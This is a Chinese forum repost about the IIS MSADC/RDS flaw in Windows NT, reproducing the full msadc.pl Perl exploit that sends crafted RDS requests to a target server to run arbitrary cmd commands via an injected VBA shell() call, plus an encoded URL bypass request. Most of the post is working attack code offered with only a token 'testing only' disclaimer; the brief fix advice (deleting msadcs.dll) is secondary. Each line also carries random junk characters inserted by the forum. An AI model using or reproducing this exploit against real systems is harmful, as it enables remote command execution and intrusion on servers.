社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167051阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Y{Z&W9U  
;n&95t1$  
涉及程序: 8_Oeui(i  
Microsoft NT server "j>X^vn  
s^k G]7  
描述: QoD_`d  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 &Vlno*  
eg[EFI.h  
详细: (:o F\  
如果你没有时间读详细内容的话,就删除: ^~4]"J};M  
c:\Program Files\Common Files\System\Msadc\msadcs.dll N?\X 2J1  
有关的安全问题就没有了。 5P,&VB8L  
V?mP7  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 +R'8$  
PRh C1#  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Wf~^,]9N  
关于利用ODBC远程漏洞的描述,请参看: w-|Rb~XT h  
nrEI0E9  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _>gz&  
= 0 ~4k#  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 )nN!% |J  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp GS;GJsAs  
1/dL-"*0  
这里不再论述。 ^y5A\nz&  
Gek?+|m  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: L%/RD2L D  
7oZ :/6_>  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset \u[x<-\/6  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! &V38)83a  
oz!)x\m*H  
`z!AjAT-G  
#将下面这段保存为txt文件,然后: "perl -x 文件名" o;8$#gyNY  
=s\$i0A2  
#!perl x ;DoQx  
# mxlh\'b  
# MSADC/RDS 'usage' (aka exploit) script Xaz "!  
# zIa={tU  
# by rain.forest.puppy x'|ty[87  
# }k-V(  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me axQ>~v WN/  
# beta test and find errors! (KQLh,h7  
t3L>@NWG  
use Socket; use Getopt::Std; Mc,79Ix"  
getopts("e:vd:h:XR", \%args); tP'v;$)9F  
91R# /i  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; YidcVlOsO  
Wa;N(zw0h  
if (!defined $args{h} && !defined $args{R}) { vC]X>P5Px  
print qq~ *byUqY3(  
Usage: msadc.pl -h <host> { -d <delay> -X -v } i?T-6{3I  
-h <host> = host you want to scan (ip or domain) f;E#CjlTL  
-d <seconds> = delay between calls, default 1 second +d, ~h_7!  
-X = dump Index Server path table, if available ieyK$q  
-v = verbose VDxm|7  
-e = external dictionary file for step 5 k1Y\g'1  
Ez1eGPVr  
Or a -R will resume a command session 9< mMU:  
Wn<?_}sa|z  
~; exit;} l*ltS(?  
,TBOEu."4  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; v :pT(0N  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ^ :VH?I=  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Zkp~qx  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); F^l1WX6  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} yi$CkG}  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } &xGdKH  
jg$qp%7i%  
if (!defined $args{R}){ $ret = &has_msadc; 86#l$QaK{  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Ejk;(rxI  
/&gg].&2?  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ~WA@YjQ]  
. "cmd /c "; tZ]gVgZg  
$in=<STDIN>; chomp $in; c=sV"r?  
$command="cmd /c " . $in ; *Y>w0k  
QK_5gD`$a,  
if (defined $args{R}) {&load; exit;} jKUEs75]  
zTng]Mvx  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; n|5\Q  
&try_btcustmr; CE"/&I  
.s{ "NqRA  
print "\nStep 2: Trying to make our own DSN..."; D||0c"E  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; @a8lF$<  
Tm" H9  
print "\nStep 3: Trying known DSNs..."; oidZWy  
&known_dsn; bQ*yXJ^8  
4 \z@Evm  
print "\nStep 4: Trying known .mdbs..."; (]@S<0  
&known_mdb; *7Vb([x4;  
tLzLO#/n  
if (defined $args{e}){ eRUdPPq_d  
print "\nStep 5: Trying dictionary of DSN names..."; _H$Lu4b)N  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } hjL;B 'IL  
hBU)gP75  
print "Sorry Charley...maybe next time?\n"; qT#e -.G  
exit; ).KA0-  
s^u  Y   
############################################################################## "7cty\  
-XYvjW,|  
sub sendraw { # ripped and modded from whisker O84]J:b  
sleep($delay); # it's a DoS on the server! At least on mine... hQ#e;1uD  
my ($pstr)=@_; j\C6k  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || $>)0t@[f  
die("Socket problems\n"); M5#wz0  
if(connect(S,pack "SnA4x8",2,80,$target)){ +Tum K.  
select(S); $|=1; \ eHOHHAGW  
print $pstr; my @in=<S>; ZSf &M  
select(STDOUT); close(S); v,")XPY  
return @in; 8maWF.xq  
} else { die("Can't connect...\n"); }} UytMnJ88  
:FAPH8]  
############################################################################## ,z&S;f.f  
<rzP  
sub make_header { # make the HTTP request Lc!2'Do;  
my $msadc=<<EOT }nrjA0WN  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 |=;hQ2HyF  
User-Agent: ACTIVEDATA PVb[E03  
Host: $ip W9SU1{*9  
Content-Length: $clen 0? {ADQz  
Connection: Keep-Alive ;21D^e  
xsa`R^5/c  
ADCClientVersion:01.06 FWbp;v{  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 .n<vhLDQn  
$zP5Hzx  
--!ADM!ROX!YOUR!WORLD! 2yA)SGri  
Content-Type: application/x-varg U[wx){[|  
Content-Length: $reqlen ~qinCIj  
9c^,v_W@  
EOT #/>TuJc  
; $msadc=~s/\n/\r\n/g; um,f!ho-U  
return $msadc;} ]-gyXE1.r  
wnS,Jl  
############################################################################## &=lc]sk  
i{^T;uAE  
sub make_req { # make the RDS request @7 Ry{,A  
my ($switch, $p1, $p2)=@_; 868X/lL  
my $req=""; my $t1, $t2, $query, $dsn; s%:fZ7y  
j[U#J  
if ($switch==1){ # this is the btcustmr.mdb query &g|[/~dIr  
$query="Select * from Customers where City=" . make_shell(); -[=~!Qr:  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . $a_y-lY  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} J?O0ixU  
01r%K@ xX\  
elsif ($switch==2){ # this is general make table query ~i|6F~%3  
$query="create table AZZ (B int, C varchar(10))"; W3le)&  
$dsn="$p1";} Znb={hh  
"\wMs  
elsif ($switch==3){ # this is general exploit table query 3E*|^*  
$query="select * from AZZ where C=" . make_shell(); (=j;rfvP  
$dsn="$p1";} ? i _ACKpw  
sF{~7IB  
elsif ($switch==4){ # attempt to hork file info from index server %,\JTN|g|A  
$query="select path from scope()"; yd;e;Bb7*  
$dsn="Provider=MSIDXS;";} #RlZxtx.O  
:a}](Wn  
elsif ($switch==5){ # bad query TUfj\d,  
$query="select"; v0DDim?cc  
$dsn="$p1";} l*l*5hA  
_=mzZe[  
$t1= make_unicode($query); 7ws<' d7/  
$t2= make_unicode($dsn); a{`hAI${  
$req = "\x02\x00\x03\x00"; UF+Qx/4h0  
$req.= "\x08\x00" . pack ("S1", length($t1)); 2>o[  
$req.= "\x00\x00" . $t1 ; *2h%dT:,%  
$req.= "\x08\x00" . pack ("S1", length($t2)); i<Z%  
$req.= "\x00\x00" . $t2 ; B|m)V9A%-  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; OjGI !  
return $req;} :8`A  
%#2$B+  
############################################################################## 03~ ADj  
D0Q9A]bD;  
sub make_shell { # this makes the shell() statement JLu$1A@ '  
return "'|shell(\"$command\")|'";} SA TX_  
~P|;Y<?3  
############################################################################## u''Ce`N  
#*g=F4>t  
sub make_unicode { # quick little function to convert to unicode _ $a3lR  
my ($in)=@_; my $out; H$%MIBz>$  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Cx TAd[az  
return $out;} R,3cJ Y_%  
flCT]ZR  
############################################################################## _ /1/{  
$yx\2   
sub rdo_success { # checks for RDO return success (this is kludge) 6ld4'oM  
my (@in) = @_; my $base=content_start(@in); YPGM||  
if($in[$base]=~/multipart\/mixed/){ -PpcFLZ|  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} :;_ khno  
return 0;} T8+[R2_  
i.E2a)  
############################################################################## BA h'H&;V  
ei5YxV6I  
sub make_dsn { # this makes a DSN for us >eTbg"\  
my @drives=("c","d","e","f"); P<vl+&*  
print "\nMaking DSN: "; >+{WiZ`  
foreach $drive (@drives) { qPPe)IM'Sc  
print "$drive: "; =mYf] PIX  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . q;68tEupR  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" B<d=;V  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 70qEqNoC  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 72, m c  
return 0 if $2 eq "404"; # not found/doesn't exist &l+Qn'N  
if($2 eq "200") { 0x<ASfka  
foreach $line (@results) { a&'9[9E1  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} |.)LZP,  
} return 0;} c5^HGIe1  
$9G& wH>{  
############################################################################## 1ui)Hv=h*  
UBwl2Di  
sub verify_exists { HTL6;87w+]  
my ($page)=@_; ':n`0+Eh  
my @results=sendraw("GET $page HTTP/1.0\n\n"); i)x0 ]XF  
return $results[0];} ov+{<0Q  
%Xh}{o$G  
############################################################################## j:%,lcF  
cy^=!EfA  
sub try_btcustmr { }2]|*?1,  
my @drives=("c","d","e","f"); e* [wF}))  
my @dirs=("winnt","winnt35","winnt351","win","windows"); w-Ph-L/  
~:Rbd9IB  
foreach $dir (@dirs) { 0z/*JVka  
print "$dir -> "; # fun status so you can see progress _}5vO$kdO  
foreach $drive (@drives) { $9YQ aN%  
print "$drive: "; # ditto S/E&&{`ls  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; CQ2vFg3+o  
$reqlenlen=length( "$reqlen" ); RZHfT0*jL  
$clen= 206 + $reqlenlen + $reqlen; x'L=p01  
pN^g.  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); #aX#gh}1  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} HR-'8?)R.A  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} nL?P/ \  
Z=&|__ +d  
############################################################################## [K A^+n  
|" }rdOV)  
sub odbc_error { }R;}d(C`  
my (@in)=@_; my $base; 1WtE] D  
my $base = content_start(@in); AGFA;X  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 54p{J  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; f7*Qa!!2p]  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :u7BCV|yr  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =K:[26  
return $in[$base+4].$in[$base+5].$in[$base+6];} s",Ea*  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; :aOR@])>o  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ^=x/:0  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ;n't:yQW  
i "V.$|,  
############################################################################## )5@P|{FF  
2WS*c7Ct  
sub verbose { &h/r]KrZ  
my ($in)=@_; 6)1PDlB  
return if !$verbose; `dm*vd  
print STDOUT "\n$in\n";} OkC.e')Vx  
vhF9|('G  
############################################################################## fnX[R2KZ  
fd4gB6>  
sub save { syr0|K[  
my ($p1, $p2, $p3, $p4)=@_; k' 8q /]  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; {|oWU8.l  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 'ayb`  
close OUT;} B=OzP+  
WD%(RC"Q  
############################################################################## DCp8rvUI  
P6_Hz!vE  
sub load { V< F &\  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; I3>8B  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); brTNwRze  
@p=<IN>; close(IN); H|aFs.SEQ  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); K#k/t"r  
$target= inet_aton($ip) || die("inet_aton problems"); -. *E<%  
print "Resuming to $ip ..."; }aOqoi7w  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 8Ay7I  
if($p[1]==1) { 8(Az/@=n  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ~ g!!#ad  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; p l^;'|=M  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ,6]ID1o:y  
if (rdo_success(@results)){print "Success!\n";} uzxwJs'fz  
else { print "failed\n"; verbose(odbc_error(@results));}} = 9Yf o,F  
elsif ($p[1]==3){ fuj9x;8X0  
if(run_query("$p[3]")){ VKPEoy8H  
print "Success!\n";} else { print "failed\n"; }} i1x4$}  
elsif ($p[1]==4){ *w;?&)8%  
if(run_query($drvst . "$p[3]")){ [.>=> KJ_  
print "Success!\n"; } else { print "failed\n"; }} 79 4UY  
exit;} 'TYO-'aC  
N&G'i.w/  
############################################################################## D zD5n  
fDDpR=  
sub create_table { < h#7;o  
my ($in)=@_; ovN3.0tAI  
$reqlen=length( make_req(2,$in,"") ) - 28; HsYzIQLL  
$reqlenlen=length( "$reqlen" ); rd&d~R6  
$clen= 206 + $reqlenlen + $reqlen; $W|JQ h  
my @results=sendraw(make_header() . make_req(2,$in,"")); s=)W  
return 1 if rdo_success(@results); qcO~}MJr}^  
my $temp= odbc_error(@results); verbose($temp); 5 Y&`ZJ  
return 1 if $temp=~/Table 'AZZ' already exists/; gE#|eiu  
return 0;} #r9\.NA!  
z#!<[**&  
############################################################################## Aq(cgTNW  
W^09tx/I  
sub known_dsn { 07SW$INb  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go O`CZwXD  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", S$SCW<LuN  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", z$1|D{  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Vl+UC1M}B>  
EPW4 h/I  
foreach $dSn (@dsns) { hRXnig{;3  
print "."; +F NGRL  
next if (!is_access("DSN=$dSn")); ;uAh)|;S#  
if(create_table("DSN=$dSn")){ [G brKq(  
print "$dSn successful\n"; / xv5we~  
if(run_query("DSN=$dSn")){ ,JI]Eij^  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { #8XmOJ"W3k  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 9wCgJ$te  
(P? |Bk [  
############################################################################## {3KY:%6qj  
&FmTT8"l  
sub is_access { dlvU=^G#G  
my ($in)=@_; f-#:3k*7S  
$reqlen=length( make_req(5,$in,"") ) - 28; J jZB!Lg=  
$reqlenlen=length( "$reqlen" ); TAh'u|{u2  
$clen= 206 + $reqlenlen + $reqlen; H,c1&hb/w  
my @results=sendraw(make_header() . make_req(5,$in,"")); )-X8RRw'  
my $temp= odbc_error(@results); _886>^b@  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 1VYH:uGuAU  
return 0;} $MvKwQ/  
zq + 2@"q  
############################################################################## nN$.^!;&  
%H?B5y  
sub run_query { f'ld6jt|%  
my ($in)=@_; VEa"^{,w  
$reqlen=length( make_req(3,$in,"") ) - 28; :C^{Lc  
$reqlenlen=length( "$reqlen" ); [BdRx`  
$clen= 206 + $reqlenlen + $reqlen; ?IeBo8  
my @results=sendraw(make_header() . make_req(3,$in,"")); t$qIJt$  
return 1 if rdo_success(@results); PJ:!O?KVq  
my $temp= odbc_error(@results); verbose($temp); '9]?jkl  
return 0;} W0x9^'=s\  
v8)wu=u  
############################################################################## Ib{#dhV  
7>im2"zm  
sub known_mdb { , l!>+@  
my @drives=("c","d","e","f","g"); An>ai N]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); +D @B eQu  
my $dir, $drive, $mdb; b`%u}^B {  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; < - sr&  
\6GNKeN  
# this is sparse, because I don't know of many V %[t'uh  
my @sysmdbs=( "\\catroot\\icatalog.mdb", fqbWD)L]  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", U}HSL5v  
"\\system32\\certmdb.mdb", /Q9Cvj)"  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% q8ZxeMqx%  
_=x*yDPG}  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 851BOkRal4  
"\\cfusion\\cfapps\\forums\\forums_.mdb", q/w5Dx|:  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", tHaHBx1P  
"\\cfusion\\cfapps\\security\\realm_.mdb", bkR~>F]FAu  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", X)(K|[  
"\\cfusion\\database\\cfexamples.mdb", QpzdlB44l  
"\\cfusion\\database\\cfsnippets.mdb", ?$)a[UnqX  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", uN?Lz1W\;  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 6VQQI9  
"\\cfusion\\brighttiger\\database\\cleam.mdb", #Qg)4[pMJ  
"\\cfusion\\database\\smpolicy.mdb", hc$m1lLn  
"\\cfusion\\database\cypress.mdb", B}NJs,'FJ  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ga KZ4#  
"\\website\\cgi-win\\dbsample.mdb", k"7ZA>5jk  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 2ia&c@P-  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Q2oo\  
); #these are just mGg/F&G9  
foreach $drive (@drives) { {88|J'*L  
foreach $dir (@dirs){ D',7T=C   
foreach $mdb (@sysmdbs) { yS K81`  
print "."; `tO t+>YWn  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ *:\[;69[  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; vS ( Y_6  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ,;YNI  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 3 u=\d)eq  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ~%tVb c  
(e_p8[x  
foreach $drive (@drives) { VxOWv8}|  
foreach $mdb (@mdbs) { gs0 jwI  
print "."; 1Cc91  
if(create_table($drv . $drive . $dir . $mdb)){ /xSJljexz  
print "\n" . $drive . $dir . $mdb . " successful\n"; #N`MzmwS  
if(run_query($drv . $drive . $dir . $mdb)){ zGme}z;1@  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; KN@ [hb7%  
} else { print "Something's borked. Use verbose next time\n"; }}}} s hq +  
} ^^k9Acd~p  
LdOqV'&r  
############################################################################## \N0wf-qa=  
|0p@'X1  
sub hork_idx { RwK6u-u#9  
print "\nAttempting to dump Index Server tables...\n"; b&,Z mDJh  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; g~|vmVBua  
$reqlen=length( make_req(4,"","") ) - 28; DdISJWc'`5  
$reqlenlen=length( "$reqlen" ); Qhe<(<^J,  
$clen= 206 + $reqlenlen + $reqlen; IuFr:3(  
my @results=sendraw2(make_header() . make_req(4,"","")); TUGD!b{  
if (rdo_success(@results)){ 82)=#ye_P  
my $max=@results; my $c; my %d; X?ZLmP7|  
for($c=19; $c<$max; $c++){ 7C Sn79E  
$results[$c]=~s/\x00//g; ,6^Xn=o #  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; {]|<|vc;GI  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; V]]!0ugvk(  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; %c$|.TkX  
$d{"$1$2"}="";} y] 9/Xr/  
foreach $c (keys %d){ print "$c\n"; } 9;n*u9<  
} else {print "Index server doesn't seem to be installed.\n"; }} 1W.oRD&8j/  
E!WlQr:b$  
############################################################################## "7fEL:|j  
sm?b,T/  
sub dsn_dict { M4;M.zxJv  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); F;/^5T3wI  
while(<IN>){ fGH)Fgo`  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; #u"@q< )  
next if (!is_access("DSN=$dSn")); FP y}Wc*UA  
if(create_table("DSN=$dSn")){ 6]GHCyo  
print "$dSn successful\n"; st.{AEv@  
if(run_query("DSN=$dSn")){ (-;(wCEE  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { L>Ze*dt  
print "Something's borked. Use verbose next time\n";}}} "`S?q G  
print "\n"; close(IN);} ',|OoxhbK  
M a{@b$>  
############################################################################## ET H ($$M  
y_Gs_xg  
sub sendraw2 { # ripped and modded from whisker 2S:B%cj9m  
sleep($delay); # it's a DoS on the server! At least on mine... }U9dzU14  
my ($pstr)=@_; <AJRU l  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 4S+E% b|)  
die("Socket problems\n"); pP# _B  
if(connect(S,pack "SnA4x8",2,80,$target)){ EHl~y=9  
print "Connected. Getting data"; b{<$OVc  
open(OUT,">raw.out"); my @in;  MkdC*|  
select(S); $|=1; print $pstr; UH7?JF-D  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} wmMn1q0F  
close(OUT); select(STDOUT); close(S); return @in; U0|bKU  
} else { die("Can't connect...\n"); }} 2=<,#7zlJ  
())_4 <  
############################################################################## !Dc;R+Ir0!  
I"8Z'<|/\q  
sub content_start { # this will take in the server headers qv2J0'd'.  
my (@in)=@_; my $c; VWYNq^<AT  
for ($c=1;$c<500;$c++) { e<8KZ  
if($in[$c] =~/^\x0d\x0a/){ iB~dO @  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } S<*1b 6%D  
else { return $c+1; }}} QYj 4D  
return -1;} # it should never get here actually sVnq|[ /  
1o_Zw.  
############################################################################## !K=$Q Uq  
pvWj)4e  
sub funky { ^[+2P?^K  
my (@in)=@_; my $error=odbc_error(@in); ;Hp78!#,  
if($error=~/ADO could not find the specified provider/){ {65Y Tt%  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; G7GKO  
exit;} KB^GC5L>  
if($error=~/A Handler is required/){ 9qzHy}A  
print "\nServer has custom handler filters (they most likely are patched)\n"; A;^{%S  
exit;} "WPWMQ+  
if($error=~/specified Handler has denied Access/){  YO fYa  
print "\nServer has custom handler filters (they most likely are patched)\n"; c>r~pY~$  
exit;}} b; vVlIG  
2>J;P C[;  
############################################################################## -EU=R_yg  
)\W}&9 >  
sub has_msadc { gtY7N>e  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 4Pf"R ~&[  
my $base=content_start(@results); \|4F?Y  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); p2O[r  
return 0;} 1b7?6CqV  
HFYe@2r  
######################## RN&8dsreZp  
`USze0"t0:  
Q2m 5&yy@s  
解决方案: n"~K",~P  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll iH dX  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 96gaun J  
Sl \EPKZD  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五